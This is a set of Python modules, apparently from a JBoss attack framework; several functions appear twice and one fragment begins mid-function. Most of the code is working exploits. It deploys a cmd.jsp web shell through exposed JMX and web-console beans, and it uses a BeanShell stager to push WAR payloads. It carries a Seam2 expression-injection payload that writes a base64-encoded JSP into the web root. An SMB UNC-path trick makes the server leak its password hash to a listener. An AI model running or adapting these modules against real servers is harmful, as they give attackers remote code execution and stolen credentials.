def check(self, ip, port=None): """ """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for %s, checking.." % (ip, rport, self.uri), LOG.DEBUG) cookies = checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if response.status_code == 200: return True except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return False
def manage_undeploy(fingerengine, fingerprint): """ This is used to undeploy from JBoss 7.x and 8.x """ context = fingerengine.options.undeploy context = parse_war_path(context) url = 'http://{0}:{1}/management'.format(fingerengine.options.ip, fingerprint.port) undeploy = '{{"operation":"remove", "address":{{"deployment":"{0}"}}}}'\ .format(context) headers = {'Content-Type':"application/json"} response = utility.requests_post(url, headers=headers, data=undeploy) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookie: response = utility.requests_post(url, headers=headers, data=undeploy, cookies=cookie[0], auth=cookie[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) if response.status_code == 200: utility.Msg("{0} successfully undeployed".format(context), LOG.SUCCESS) else: utility.Msg("Failed to undeploy", LOG.ERROR)
def run(self, fingerengine, fingerprint): """ This runs the jboss.system:type=ServerInfo MBean to gather information about the host OS. JBoss 7.x uses the HTTP API instead to query for this info, which also happens to give us quite a bit more. """ utility.Msg("Attempting to retrieve JBoss info...") if fingerprint.version in ["7.0", "7.1", "8.0"]: # JBoss 7.x uses an HTTP API instead of jmx-console/ return self.run7(fingerengine, fingerprint) base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system"\ ":type=ServerInfo" url = base + uri response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: if fingerprint.version in ["3.0", "3.2"]: names = findall("<span class='aname'>(.*?)</span>", response.content.replace('\n',''))[1:] data = findall("<pre>(.*?)</pre>", response.content.replace('\n','')) for (key, value) in zip(names, data): utility.Msg("\t{0}: {1}".format(key, value)) elif fingerprint.version in ["4.0", "4.2"]: data = findall("<td>(.*?)</td>", response.content.replace('\n','')) for x in range(9, len(data)-9, 5): utility.Msg("\t{0}: {1}".format(data[x+1].lstrip().rstrip(), data[x+4].lstrip().rstrip())) elif fingerprint.version in ["5.0", "5.1", "6.0", "6.1"]: names = findall("<td class='param'>(.*?)</td>", response.content.replace('\n','')) data = findall("<pre>(.*?)</pre>", response.content.replace('\n','')) for (key, value) in zip(names, data): utility.Msg("\t{0}: {1}".format(key,value.rstrip('').lstrip())) else: utility.Msg("Version %s is not supported by this module." % fingerprint.version, LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Exploits the DeploymentFileRepository bean to deploy a JSP to the remote server. Note that this requires a JSP, not a packaged or exploded WAR. """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input( "This deployer requires a JSP, default to cmd.jsp? [Y/n]") if "n" in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" utility.Msg("Preparing to deploy {0}...".format(war_name)) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([('action', 'invokeOp'), ('name', 'jboss.admin:service=DeploymentFileRepository'), ('methodIndex', 5), ('arg0', war_file.replace('.jsp', '.war')), ('arg1', war_name), ('arg2', '.jsp'), ('arg3', open(war_file, 'r').read()), ('arg4', True)]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: utility.Msg( "Successfully deployed '/{0}/{1}'".format(war_name, war_name + '.jsp'), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def run(self, fingerengine, fingerprint): """ This module will invoke jboss:load() with a UNC path to force the server to make a SMB request, thus giving up its encrypted hash with a value we know (1122334455667788). Thanks to @cd1zz for the idea for this """ if getuid() > 0: utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener..") self._Listen = True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC loader...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/jmx-console/HtmlAdaptor' data = self.getData(fingerprint.version) url = base + uri response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin... sleep(1) if response.status_code != 500: utility.Msg("Unexpected response: HTTP %d" % response.status_code, LOG.DEBUG) self._Listen = False
def deploy(fingerengine, fingerprint): """ This module exploits the BSHDeployer in an exposed JBoss web-console. It essentially invokes /web-console/Invoker to download and deploy a BSH, which can be used as a stager for our WAR payload. """ war_file = path.abspath(fingerengine.options.deploy) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/web-console/Invoker".format(fingerengine.options.ip, fingerprint.port) if not rewriteBsh(war_file, fingerengine.options.remote_os): utility.Msg("Failed to write WAR to BSH", LOG.ERROR) return # poll the URL to check for 401 response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for web-console, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: (usr, pswd) = (cookies[1].username, cookies[1].password) response = bsh_deploy(fingerengine.options.remote_os, url, fingerprint.version.split('.')[0], usr, pswd) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) else: # run our java lib for the serialized request response = bsh_deploy(fingerengine.options.remote_os, url, fingerprint.version.split('.')[0]) # remove the copied bsh system("rm ./src/lib/jboss/bsh_deploy/bshdeploy.bsh") if response: if type(response) is str and response != '': utility.Msg(response, LOG.DEBUG) elif response.returncode > 0: utility.Msg( "Failed to deploy to %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) utility.Msg(response.output, LOG.DEBUG) return utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS)
def run7(self, fingerengine, fingerprint): """ Runs our OS query using the HTTP API NOTE: This does not work against 7.0.0 or 7.0.1 because the platform-mbean was not exposed until 7.0.2 and up. See AS7-340 """ url = "http://{0}:{1}/management".format(fingerengine.options.ip, fingerprint.port) info = '{"operation":"read-resource", "include-runtime":"true", "address":'\ '[{"core-service":"platform-mbean"},{"type":"runtime"}], "json.pretty":1}' headers = {"Content-Type":"application/json"} response = utility.requests_post(url, data=info, headers=headers) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=info, cookies=cookies[0], auth=cookies[1], headers=headers) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: result = response.json()['result'] for key in result.keys(): if 'system-properties' in key: for skey in result[key].keys(): utility.Msg('\t%s: %s' % (skey, result[key][skey])) else: utility.Msg('\t%s: %s' % (key, result[key])) elif response.status_code == 500: utility.Msg("Failed to retrieve system properties, checking if " "this is 7.0.0/7.0.1...") info = '{"operation":"read-attribute", "name":"server-state"}' response = utility.requests_post(url, data=info, headers=headers) if response.status_code == 200: utility.Msg("Older version found. This version is unsupported.") else: utility.Msg("Failed to retrieve info (HTTP %d)", response.status_code, LOG.DEBUG) else: utility.Msg("Failed to retrieve info (HTTP %d)" % response.status_code, LOG.DEBUG)
def deploy(fingerengine, fingerprint): """ This module exploits the BSHDeployer in an exposed JBoss web-console. It essentially invokes /web-console/Invoker to download and deploy a BSH, which can be used as a stager for our WAR payload. """ war_file = path.abspath(fingerengine.options.deploy) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/web-console/Invoker".format( fingerengine.options.ip, fingerprint.port) if not rewriteBsh(war_file, fingerengine.options.remote_os): utility.Msg("Failed to write WAR to BSH", LOG.ERROR) return # poll the URL to check for 401 response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for web-console, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: (usr, pswd) = (cookies[1].username, cookies[1].password) response = bsh_deploy(fingerengine.options.remote_os, url, fingerprint.version.split('.')[0], usr, pswd) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) else: # run our java lib for the serialized request response = bsh_deploy(fingerengine.options.remote_os, url, fingerprint.version.split('.')[0]) # remove the copied bsh system("rm ./src/lib/jboss/bsh_deploy/bshdeploy.bsh") if response: if type(response) is str and response != '': utility.Msg(response, LOG.DEBUG) elif response.returncode > 0: utility.Msg("Failed to deploy to %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) utility.Msg(response.output, LOG.DEBUG) return utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS)
def run(self, fingerengine, fingerprint): """ This module will invoke jboss:load() with a UNC path to force the server to make a SMB request, thus giving up its encrypted hash with a value we know (1122334455667788). Thanks to @cd1zz for the idea for this """ if not utility.check_admin(): utility.Msg("Root privs required for this module.", LOG.ERROR) return utility.Msg("Setting up SMB listener..") self._Listen= True thread = Thread(target=self.smb_listener) thread.start() utility.Msg("Invoking UNC loader...") base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/jmx-console/HtmlAdaptor' data = self.getData(fingerprint.version) url = base + uri response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return while thread.is_alive(): # spin... sleep(1) if response.status_code != 500: utility.Msg("Unexpected response: HTTP %d" % response.status_code, LOG.DEBUG) self._Listen = False
def deploy(fingerengine, fingerprint): """ Exploits the DeploymentFileRepository bean to deploy a JSP to the remote server. Note that this requires a JSP, not a packaged or exploded WAR. """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]") if "n" in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.admin:service=DeploymentFileRepository'), ('methodIndex', 5), ('arg0', war_file.replace('.jsp', '.war')), ('arg1', war_name), ('arg2', '.jsp'), ('arg3', open(war_file, 'r').read()), ('arg4', True) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def run(self, fingerengine, fingerprint): """ """ utility.Msg("Obtaining deployed applications...") if fingerprint.version in ["5.0", "5.1", "6.0", "6.1"] and\ fingerprint.title == JINTERFACES.JMX: url = 'http://{0}:{1}/jmx-console/HtmlAdaptor?action='\ 'displayMBeans&filter=jboss.web.deployment'.format\ (fingerengine.options.ip, fingerprint.port) elif fingerprint.version in ["7.0", "7.1", '8.0']: return self.run7(fingerengine, fingerprint) elif fingerprint.title == JINTERFACES.JMX: url = 'http://{0}:{1}/jmx-console/'.format(fingerengine.options.ip, fingerprint.port) else: # unsupported interface utility.Msg("Interface %s version %s is not supported." % \ (fingerprint.title, fingerprint.version), LOG.DEBUG) return response = utility.requests_get(url) if response.status_code == 401: utility.Msg( 'Host %s:%s requires auth for JMX, checking...' % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: wars = findall("war=(.*?)</a>", response.content) if len(wars) > 0: for war in wars: utility.Msg("Deployment found: %s" % war) else: utility.Msg("No deployments found.")
def run(self, fingerengine, fingerprint): """ """ utility.Msg("Obtaining deployed applications...") if fingerprint.version in ["5.0", "5.1", "6.0", "6.1"] and\ fingerprint.title == JINTERFACES.JMX: url = 'http://{0}:{1}/jmx-console/HtmlAdaptor?action='\ 'displayMBeans&filter=jboss.web.deployment'.format\ (fingerengine.options.ip, fingerprint.port) elif fingerprint.version in ["7.0", "7.1", '8.0']: return self.run7(fingerengine, fingerprint) elif fingerprint.title == JINTERFACES.JMX: url = 'http://{0}:{1}/jmx-console/'.format(fingerengine.options.ip, fingerprint.port) else: # unsupported interface utility.Msg("Interface %s version %s is not supported." % \ (fingerprint.title, fingerprint.version), LOG.DEBUG) return response = utility.requests_get(url) if response.status_code == 401: utility.Msg('Host %s:%s requires auth for JMX, checking...' % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: wars = findall("war=(.*?)</a>", response.content) if len(wars) > 0: for war in wars: utility.Msg("Deployment found: %s" % war) else: utility.Msg("No deployments found.")
def redo_auth(fingerengine, fingerprint, url, **args): """ For whatever reason, we need to reauth at each stage of this process. It's a huge pain, and I have no idea why they thought this was a great idea. If you perform a deployment manually and inspect the traffic with a web proxy, you can see the 401's for each step. It's ridiculous. """ response = None utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, auth=cookies[1], **args) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return response
def jmx_undeploy(fingerengine, fingerprint): """ """ context = fingerengine.options.undeploy # ensure leading / is stripped context = context if not '/' in context else context[1:] # check for trailing war context = context if '.war' in context else context + '.war' url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) wid = fetchId(context, url) if not wid: utility.Msg("Could not find ID for WAR {0}".format(context), LOG.ERROR) return data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.web.deployment:war={0},id={1}'.format(context, wid)), ('methodIndex', 0) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) if response.status_code == 200: utility.Msg( "{0} undeployed. WAR may still show under list".format(context))
def jmx_undeploy(fingerengine, fingerprint): """ """ context = fingerengine.options.undeploy # ensure leading / is stripped context = context if not '/' in context else context[1:] # check for trailing war context = context if '.war' in context else context + '.war' url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) wid = fetchId(context, url) if not wid: utility.Msg("Could not find ID for WAR {0}".format(context), LOG.ERROR) return data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.web.deployment:war={0},id={1}'.format(context, wid)), ('methodIndex', 0) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) if response.status_code == 200: utility.Msg("{0} undeployed. WAR may still show under list".format(context))
def run7(self, fingerengine, fingerprint): """ JBoss 7.x does not have a jmx-console, and instead uses an HTTP management API that can be queried with JSON. It's not much fun to parse, but it does its job. """ headers = {'Content-Type': 'application/json'} data = '{"operation":"read-resource","address":[{"deployment":"*"}]}' url = "http://{0}:{1}/management".format(fingerengine.options.ip, fingerprint.port) response = utility.requests_post(url, headers=headers, data=data) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for management, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, headers=headers, data=data, auth=cookies[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return json_list = response.json()['result'] for item in json_list: item_dict = dict(item) if "address" in item_dict.keys(): utility.Msg("Deployment found: %s" % dict(item_dict['address'][0])['deployment']) if len(json_list) <= 0: utility.Msg("No deployments found.", LOG.INFO)
def redo_auth(fingerengine, fingerprint, url, **args): """ For whatever reason, we need to reauth at each stage of this process. It's a huge pain, and I have no idea why they thought this was a great idea. If you perform a deployment manually and inspect the traffic with a web proxy, you can see the 401's for each step. It's ridiculous. """ response = None utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, auth=cookies[1], **args) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return response
def check(self, ip, port=None): """ The version string for the web-console is pretty easy to parse out. """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for /web-console, checking.." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if "Version: </b>{0}".format(self.version) in response.content: return True except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def run7(self, fingerengine, fingerprint): """ JBoss 7.x does not have a jmx-console, and instead uses an HTTP management API that can be queried with JSON. It's not much fun to parse, but it does its job. """ headers = {'Content-Type' : 'application/json'} data = '{"operation":"read-resource","address":[{"deployment":"*"}]}' url = "http://{0}:{1}/management".format(fingerengine.options.ip, fingerprint.port) response = utility.requests_post(url, headers=headers, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for management, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, headers=headers, data=data, auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return json_list = response.json()['result'] for item in json_list: item_dict = dict(item) if "address" in item_dict.keys(): utility.Msg("Deployment found: %s" % dict(item_dict['address'][0])['deployment']) if len(json_list) <= 0: utility.Msg("No deployments found.", LOG.INFO)
def check(self, ip, port=None): """ """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for %s, checking.." % (ip, rport, self.uri), LOG.DEBUG) cookies = checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if response.status_code == 200: return True except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def manage_undeploy(fingerengine, fingerprint): """ This is used to undeploy from JBoss 7.x and 8.x """ context = fingerengine.options.undeploy context = parse_war_path(context) url = 'http://{0}:{1}/management'.format(fingerengine.options.ip, fingerprint.port) undeploy = '{{"operation":"remove", "address":{{"deployment":"{0}"}}}}'\ .format(context) headers = {'Content-Type': "application/json"} response = utility.requests_post(url, headers=headers, data=undeploy) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookie: response = utility.requests_post(url, headers=headers, data=undeploy, cookies=cookie[0], auth=cookie[1]) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) if response.status_code == 200: utility.Msg("{0} successfully undeployed".format(context), LOG.SUCCESS) else: utility.Msg("Failed to undeploy", LOG.ERROR)
if fingerprint.version in ['6.0', '6.1']: uri += '.newInstance(request.getRealPath(\'/{0}\')' else: uri += '.newInstance(request.getRealPath(\'/../../../deploy/ROOT.war/{0}\')' uri += '.replaceAll(\'\\\\\\\\\',\'/\'),false).write(expressions' uri += '.getClass().forName(\'sun.misc.BASE64Decoder\').' uri += 'getConstructor(null).newInstance(null).decodeBuffer' uri += '(request.getParameter(\'c\'))).close()}}&c={1}' uri = uri.format(jsp_name, quote_plus(b64encode(jsp))) response = utility.requests_post(url.format(fingerengine.options.ip, fingerprint.port), data = uri, headers=headers, allow_redirects=False) if response.status_code == 401: utility.Msg("Host %s:%s requires auth" % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data = uri, cookies=cookies[0], auth=cookies[1]) except Exception, e: utility.Msg("Error with authenticated request: %s" % str(e), LOG.ERROR) return else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 302: if fingerprint.version in ['6.0', '6.1']:
def deploy(fingerengine, fingerprint): """ Exploits Seam2 exposed by certain JBoss installs. Here we require the use of a JSP payload that's written into the www root. The 5.1 deployer here varies slightly from the Metasploit version, which doesn't appear to have been tested against 5.1. JBoss 5.1 writes into a cached temp, which is regenerated every time that war folder is modified. This kills the shell. JBoss 6.0/6.1 is the same, however, and appears to work fine. https://www.exploit-db.com/exploits/36653/ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input( 'This deployer requires a JSP, default to cmd.jsp? [Y/n]') if 'n' in tmp.lower(): return war_file = abspath('./src/lib/resources/cmd.jsp') war_name = 'cmd' utility.Msg("Preparing to deploy {0}...".format(war_name)) headers = {"Content-Type": "application/x-www-form-urlencoded"} jsp_name = ''.join(choice(ascii_lowercase) for _ in range(5)) + '.jsp' jsp = None try: with open(war_file) as f: jsp = f.read() except Exception as e: utility.Msg("Error reading payload file '%s': %s" % (war_file, e), LOG.ERROR) return False url = 'http://{0}:{1}/admin-console/login.seam' uri = 'actionOutcome=/success.xhtml?user%3d%23{{expressions.getClass().' uri += 'forName(\'java.io.FileOutputStream\').getConstructor(\'' uri += 'java.lang.String\',expressions.getClass().forName(\'' uri += 'java.lang.Boolean\').getField(\'TYPE\').get(null))' if fingerprint.version in ['6.0', '6.1']: uri += '.newInstance(request.getRealPath(\'/{0}\')' else: uri += '.newInstance(request.getRealPath(\'/../../../deploy/ROOT.war/{0}\')' uri += '.replaceAll(\'\\\\\\\\\',\'/\'),false).write(expressions' uri += '.getClass().forName(\'sun.misc.BASE64Decoder\').' uri += 'getConstructor(null).newInstance(null).decodeBuffer' uri += '(request.getParameter(\'c\'))).close()}}&c={1}' uri = uri.format(jsp_name, quote_plus(b64encode(jsp))) response = utility.requests_post(url.format(fingerengine.options.ip, fingerprint.port), data=uri, headers=headers, allow_redirects=False) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth" % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_post(url, data=uri, cookies=cookies[0], auth=cookies[1]) except Exception as e: utility.Msg("Error with authenticated request: %s" % str(e), LOG.ERROR) return else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 302: if fingerprint.version in ['6.0', '6.1']: invoke_url = "http://{0}:{1}/admin-console/{2}".format( fingerengine.options.ip, fingerprint.port, jsp_name) else: invoke_url = "http://{0}:{1}/{2}".format(fingerengine.options.ip, fingerprint.port, jsp_name) utility.Msg("{0} deployed to {1}".format(war_name, invoke_url), LOG.SUCCESS) fingerengine.invoke_url = invoke_url fingerengine.options.deploy = jsp_name else: utility.Msg( "Failed to deploy {0} (HTTP {1})".format(fingerengine.options.ip, response.status_code), LOG.ERROR)
def check(self, ip, port=None): """ Because the version strings are different across a couple different versions, we parse it a little bit different. Pre-5.x versions are simple, as we match a pattern, whereas post-5.x versions require us to parse an HTML table for our value. """ re_match = False rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) try: request = utility.requests_get(url) # go check auth if request.status_code == 401: utility.Msg( "Host %s:%s requires auth for JMX, checking..." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: request = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if request.status_code != 200: return False if self.version in ["3.0", "3.2"]: match = search("{0}.(.*?)\(".format(self.version), request.content) if match and len(match.groups()) > 0: re_match = True elif self.version in ["4.0", "4.2"]: match = search("{0}.(.*?)GA".format(self.version), request.content) if match and len(match.groups()) > 0: re_match = True elif self.version in ["5.0", "5.1", "6.0", "6.1"]: parser = TableParser() parser.feed(request.content) if parser.data and self.version in parser.data: re_match = True return re_match except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return re_match
